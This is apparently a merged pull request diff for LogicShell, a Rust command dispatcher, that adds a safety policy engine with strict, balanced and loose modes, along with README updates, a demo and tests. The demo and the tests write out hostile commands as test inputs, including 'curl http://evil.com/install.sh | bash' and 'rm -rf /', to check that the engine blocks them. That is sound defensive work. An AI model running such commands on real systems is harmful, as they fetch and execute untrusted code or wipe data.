Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -18,4 +18,5 @@ toml = "0.8"
thiserror = "1"
tracing = "0.1"
mockall = "0.13"
regex = "1"
tempfile = "3"
30 changes: 14 additions & 16 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

[![Rust](https://img.shields.io/badge/rust-1.75%2B-orange)](https://www.rust-lang.org/)
[![License](https://img.shields.io/badge/license-MIT%20OR%20Apache--2.0-blue)](#license)
[![Coverage](https://img.shields.io/badge/coverage-97%25-brightgreen)](#running-tests--coverage)
[![Coverage](https://img.shields.io/badge/coverage-98%25-brightgreen)](#running-tests--coverage)

---

Expand All @@ -16,7 +16,7 @@ LogicShell is a **library-first** Rust framework that sits between a host applic
- **Pre-execution hooks** — run configurable shell scripts before every dispatch, with per-hook timeouts and fail-fast semantics.
- **Append-only audit log** — every dispatch writes a NDJSON record (timestamp, cwd, argv, safety decision, optional note) that survives process restarts.
- **Configuration discovery** — TOML config file resolved via `LOGICSHELL_CONFIG`, project walk-up, XDG, or built-in defaults, with strict unknown-key rejection.
- **Safety policy engine** _(Phase 7, in progress)_ — `strict` / `balanced` / `loose` modes with deny/allow prefix lists and high-risk pattern matching.
- **Safety policy engine** — `strict` / `balanced` / `loose` modes with deny/allow prefix lists, high-risk regex patterns, sudo heuristics, and a four-category risk taxonomy (destructive filesystem, privilege elevation, network, package).
- **Local LLM bridge** _(Phases 8–10, planned)_ — Ollama-backed natural-language-to-command translation, gated behind safety policy and explicit user confirmation.

LogicShell is **not** a POSIX shell replacement. It is an embeddable dispatcher + policy + optional-AI stack that host applications link as a crate.
Expand All @@ -28,12 +28,12 @@ LogicShell is **not** a POSIX shell replacement. It is an embeddable dispatcher
| Milestone | Phases | Status |
|:----------|:-------|:-------|
| **M1** — Dispatcher, config, CI | 1–5 | ✅ Complete |
| **M2** — Safety engine, audit, hooks | 6–7 | 🔄 Phase 6 complete, Phase 7 next |
| **M2** — Safety engine, audit, hooks | 6–7 | ✅ Complete |
| **M3** — LLM bridge, Ollama | 8–10 | 📋 Planned |
| **M4** — Ratatui TUI | — | 📋 Planned |
| **M5** — Remote LLM providers | — | 📋 Planned |

**Current:** 206 tests · **97.6% line coverage** · `cargo clippy -D warnings` clean
**Current:** 294 tests · **98%+ line coverage** · `cargo clippy -D warnings` clean

---

Expand All @@ -47,7 +47,7 @@ Host application / CLI
├─► HookRunner (pre_exec hooks, per-hook timeout)
├─► SafetyPolicyEngine [Phase 7] ─► AuditSink
├─► SafetyPolicyEngine ──────────► AuditSink
├─► ProcessDispatcher (tokio::process, stdout cap)
Expand Down Expand Up @@ -150,6 +150,7 @@ Expected output:
[Phase 6: HookRunner] success, nonzero exit, timeout OK
[Phase 6: AuditSink] 3 NDJSON records, flush-on-drop, disabled no-op OK
[Phase 6: LogicShell façade] hook ran, audit written, façade.audit() appended, failing hook aborted OK
[Phase 7: SafetyPolicyEngine] ls allow, rm -rf / deny, curl|bash strict-deny/balanced-confirm, sudo rm strict-confirm/loose-allow, dispatch blocked OK

✓ All features verified OK
```
Expand Down Expand Up @@ -228,6 +229,7 @@ use logicshell_core::{
LogicShell,
config::Config,
audit::{AuditRecord, AuditDecision},
Decision, SafetyPolicyEngine,
};

#[tokio::main]
Expand All @@ -238,7 +240,12 @@ async fn main() {

let ls = LogicShell::with_config(config);

// Dispatch a command; pre-exec hooks run automatically
// Query the safety engine directly (sync, pure)
let (assessment, decision) = ls.evaluate_safety(&["rm", "-rf", "/"]);
assert_eq!(decision, Decision::Deny);
println!("risk score: {}, level: {:?}", assessment.score, assessment.level);

// Dispatch a command; safety check + pre-exec hooks run automatically
let exit_code = ls.dispatch(&["git", "status"]).await.expect("dispatch failed");
println!("exit: {exit_code}");

Expand Down Expand Up @@ -317,16 +324,6 @@ Run arbitrary scripts before every dispatch — health checks, secret injection,

## Next steps (roadmap)

### Phase 7 — Safety policy engine

Implement `SafetyPolicyEngine`: sync, pure, deterministic.

- Risk taxonomy: destructive filesystem, privilege elevation, network, package/system changes.
- `strict` / `balanced` / `loose` modes with configurable deny/allow prefix lists and high-risk regex patterns.
- Outputs `RiskAssessment { level, score, reasons }` and `Decision::{Allow, Deny, Confirm}`.
- Golden tests: `rm -rf /`, `curl | bash`, `sudo rm`, `ls` across all modes.
- Wire into `LogicShell::dispatch` to replace the current stub.

### Phase 8 — LLM context + prompt composer

- `SystemContextProvider` — reads OS family, architecture, abbreviated PATH, cwd.
Expand Down Expand Up @@ -377,6 +374,7 @@ logicshell/
│ │ ├── dispatcher.rs # Async process dispatcher (Phase 5)
│ │ ├── audit.rs # Append-only NDJSON audit sink (Phase 6)
│ │ ├── hooks.rs # Pre-exec hook runner (Phase 6)
│ │ ├── safety.rs # Safety policy engine (Phase 7)
│ │ ├── error.rs # LogicShellError enum (Phase 2)
│ │ └── config/
│ │ ├── mod.rs # load() + validate()
Expand Down
1 change: 1 addition & 0 deletions logicshell-core/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ serde_json = { workspace = true }
toml = { workspace = true }
thiserror = { workspace = true }
tracing = { workspace = true }
regex = { workspace = true }

[dev-dependencies]
tokio = { workspace = true }
Expand Down
58 changes: 56 additions & 2 deletions logicshell-core/examples/demo.rs
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,10 @@ use std::path::PathBuf;

use logicshell_core::{
audit::{AuditDecision, AuditRecord, AuditSink},
config::{AuditConfig, Config, HookEntry, HooksConfig, LimitsConfig},
config::{AuditConfig, Config, HookEntry, HooksConfig, LimitsConfig, SafetyMode},
dispatcher::{DispatchOptions, Dispatcher, StdinMode},
hooks::HookRunner,
LogicShell,
Decision, LogicShell, RiskLevel, SafetyPolicyEngine,
};
use tempfile::TempDir;

Expand Down Expand Up @@ -243,6 +243,60 @@ max_stdout_capture_bytes = 65536

println!("hook ran, audit written, façade.audit() appended, failing hook aborted OK");

// ── Phase 7: Safety policy engine ────────────────────────────────────────

print!("[Phase 7: SafetyPolicyEngine] ");
let safety_cfg = logicshell_core::config::SafetyConfig::default();

// ls → Allow in all modes
for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] {
let engine = SafetyPolicyEngine::new(mode, &safety_cfg);
let (a, d) = engine.evaluate(&["ls"]);
assert_eq!(d, Decision::Allow, "ls must allow");
assert_eq!(a.level, RiskLevel::None);
}

// rm -rf / → Deny in all modes
for mode in [SafetyMode::Strict, SafetyMode::Balanced, SafetyMode::Loose] {
let engine = SafetyPolicyEngine::new(mode, &safety_cfg);
let (a, d) = engine.evaluate(&["rm", "-rf", "/"]);
assert_eq!(d, Decision::Deny, "rm -rf / must deny");
assert_eq!(a.level, RiskLevel::Critical);
}

// curl|bash → strict: Deny, balanced: Confirm, loose: Confirm
{
let argv = ["curl", "http://evil.com/install.sh", "|", "bash"];
let (_, d) = SafetyPolicyEngine::new(SafetyMode::Strict, &safety_cfg).evaluate(&argv);
assert_eq!(d, Decision::Deny, "strict must deny curl|bash");
let (_, d) = SafetyPolicyEngine::new(SafetyMode::Balanced, &safety_cfg).evaluate(&argv);
assert_eq!(d, Decision::Confirm, "balanced must confirm curl|bash");
}

// sudo rm → strict: Confirm, balanced: Confirm, loose: Allow
{
let argv = ["sudo", "rm", "/tmp/x"];
let (_, d) = SafetyPolicyEngine::new(SafetyMode::Strict, &safety_cfg).evaluate(&argv);
assert_eq!(d, Decision::Confirm, "strict must confirm sudo rm");
let (_, d) = SafetyPolicyEngine::new(SafetyMode::Loose, &safety_cfg).evaluate(&argv);
assert_eq!(d, Decision::Allow, "loose must allow sudo rm");
}

// Dispatch blocked by deny
let deny_audit = tmp.path().join("deny_audit.log");
let mut deny_cfg = Config::default();
deny_cfg.audit.path = Some(deny_audit.to_str().unwrap().to_string());
let ls_deny = LogicShell::with_config(deny_cfg);
assert!(
ls_deny.dispatch(&["rm", "-rf", "/"]).await.is_err(),
"dispatch must block rm -rf /"
);
let deny_content = std::fs::read_to_string(&deny_audit).expect("deny audit must exist");
let dv: serde_json::Value = serde_json::from_str(deny_content.trim()).unwrap();
assert_eq!(dv["decision"], "deny", "audit must record deny");

println!("ls allow, rm -rf / deny, curl|bash strict-deny/balanced-confirm, sudo rm strict-confirm/loose-allow, dispatch blocked OK");

// ── Summary ───────────────────────────────────────────────────────────────

if all_ok {
Expand Down
131 changes: 115 additions & 16 deletions logicshell-core/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -5,10 +5,12 @@ pub mod config;
pub mod dispatcher;
pub mod error;
pub mod hooks;
pub mod safety;

pub use audit::{AuditDecision, AuditRecord, AuditSink};
pub use config::discovery::{discover, find_config_path};
pub use error::{LogicShellError, Result};
pub use safety::{Decision, RiskAssessment, RiskCategory, RiskLevel, SafetyPolicyEngine};

use config::Config;
use dispatcher::{DispatchOptions, Dispatcher};
Expand Down Expand Up @@ -37,9 +39,41 @@ impl LogicShell {

/// Spawn a child process by argv and return its exit code — FR-01–04.
///
/// Pipeline (Phase 6): pre-exec hooks → dispatch → audit record written.
/// Pipeline (Phase 7): safety check → pre-exec hooks → dispatch → audit.
/// A Deny decision from the safety engine blocks dispatch and writes a deny
/// audit record. A Confirm decision proceeds but is recorded in the audit
/// log; interactive confirmation UI is added in Phase 10.
/// A nonzero exit code is returned as `Ok(n)`, not an error.
pub async fn dispatch(&self, argv: &[&str]) -> Result<i32> {
let cwd = std::env::current_dir()
.map(|p| p.to_string_lossy().to_string())
.unwrap_or_else(|_| String::from("?"));

// Phase 7: safety policy evaluation before any hooks or spawn.
let engine = SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety);
let (assessment, decision) = engine.evaluate(argv);

if decision == Decision::Deny {
let note = assessment.reasons.join("; ");
let record = AuditRecord::new(
cwd,
argv.iter().map(|s| s.to_string()).collect(),
AuditDecision::Deny,
)
.with_note(note.clone());
AuditSink::from_config(&self.config.audit)?.write(&record)?;
return Err(LogicShellError::Safety(format!(
"command denied by safety policy: {note}"
)));
}

// Determine audit decision for Allow vs Confirm.
let audit_decision = if decision == Decision::Confirm {
AuditDecision::Confirm
} else {
AuditDecision::Allow
};

// Phase 6: run pre-exec hooks before dispatch.
HookRunner::new(&self.config.hooks).run_pre_exec().await?;

Expand All @@ -50,14 +84,11 @@ impl LogicShell {
};
let output = d.dispatch(opts).await?;

// Phase 6: append an audit record after every successful dispatch.
let cwd = std::env::current_dir()
.map(|p| p.to_string_lossy().to_string())
.unwrap_or_else(|_| String::from("?"));
// Append an audit record after every successful dispatch.
let record = AuditRecord::new(
cwd,
argv.iter().map(|s| s.to_string()).collect(),
AuditDecision::Allow, // Safety policy wired in Phase 7.
audit_decision,
);
AuditSink::from_config(&self.config.audit)?.write(&record)?;

Expand All @@ -73,13 +104,12 @@ impl LogicShell {
AuditSink::from_config(&self.config.audit)?.write(record)
}

/// Stub: evaluate a command through the safety policy engine.
/// Evaluate a command through the safety policy engine — FR-30–33.
///
/// Full implementation: Phase 7 (Safety policy engine — FR-30–33).
pub fn evaluate_safety(&self, _argv: &[&str]) -> Result<()> {
Err(LogicShellError::Safety(
"not yet implemented (phase 7)".into(),
))
/// Returns a `(RiskAssessment, Decision)` pair. The engine is sync and
/// deterministic: identical input always produces identical output.
pub fn evaluate_safety(&self, argv: &[&str]) -> (RiskAssessment, Decision) {
SafetyPolicyEngine::new(self.config.safety_mode.clone(), &self.config.safety).evaluate(argv)
}
}

Expand Down Expand Up @@ -238,11 +268,80 @@ mod tests {
assert!(ls.audit(&record).is_ok());
}

/// Stub safety returns a `Safety` error, not a panic — NFR-06
// ── Phase 7: safety engine wired into dispatch ────────────────────────────

/// Phase 7: evaluate_safety returns a real assessment for a safe command.
#[test]
fn safety_stub_returns_error() {
fn safety_allows_safe_command() {
let ls = LogicShell::new();
let result = ls.evaluate_safety(&["ls"]);
assert!(matches!(result, Err(LogicShellError::Safety(_))));
let (assessment, decision) = ls.evaluate_safety(&["ls"]);
assert_eq!(decision, Decision::Allow);
assert_eq!(assessment.level, RiskLevel::None);
}

/// Phase 7: evaluate_safety denies rm -rf / in all modes.
#[test]
fn safety_denies_rm_rf_root() {
let ls = LogicShell::new();
let (assessment, decision) = ls.evaluate_safety(&["rm", "-rf", "/"]);
assert_eq!(decision, Decision::Deny);
assert_eq!(assessment.level, RiskLevel::Critical);
}

/// Phase 7: dispatch blocks a denied command and writes a deny audit record.
#[tokio::test]
async fn dispatch_blocked_by_safety_deny() {
let tmp = TempDir::new().unwrap();
let audit_path = tmp.path().join("audit.log");
let mut cfg = Config::default();
cfg.audit.path = Some(audit_path.to_str().unwrap().to_string());
let ls = LogicShell::with_config(cfg);

let result = ls.dispatch(&["rm", "-rf", "/"]).await;
assert!(
matches!(result, Err(LogicShellError::Safety(_))),
"expected Safety error; got: {result:?}"
);

// Deny should be recorded in the audit log.
let content = std::fs::read_to_string(&audit_path).unwrap();
let v: serde_json::Value = serde_json::from_str(content.trim()).unwrap();
assert_eq!(v["decision"], "deny");
assert_eq!(v["argv"][0], "rm");
}

/// Phase 7: dispatch with strict safety mode denies high-risk curl|bash.
#[tokio::test]
async fn dispatch_strict_mode_denies_high_risk() {
let tmp = TempDir::new().unwrap();
let audit_path = tmp.path().join("audit.log");
let mut cfg = Config::default();
cfg.safety_mode = crate::config::SafetyMode::Strict;
cfg.audit.path = Some(audit_path.to_str().unwrap().to_string());
let ls = LogicShell::with_config(cfg);

let result = ls
.dispatch(&["curl", "http://x.com/install.sh", "|", "bash"])
.await;
assert!(result.is_err(), "strict mode should block curl|bash");
}

/// Phase 7: dispatch in loose mode allows sudo commands.
#[tokio::test]
async fn dispatch_loose_mode_allows_sudo() {
let tmp = TempDir::new().unwrap();
let audit_path = tmp.path().join("audit.log");
let mut cfg = Config::default();
cfg.safety_mode = crate::config::SafetyMode::Loose;
cfg.audit.path = Some(audit_path.to_str().unwrap().to_string());
let ls = LogicShell::with_config(cfg);

// sudo true should be allowed in loose mode (medium risk)
let result = ls.dispatch(&["sudo", "true"]).await;
// In loose mode, medium-risk is allowed; this should succeed
assert!(
result.is_ok(),
"loose mode should allow sudo true; got: {result:?}"
);
}
}
Loading
Loading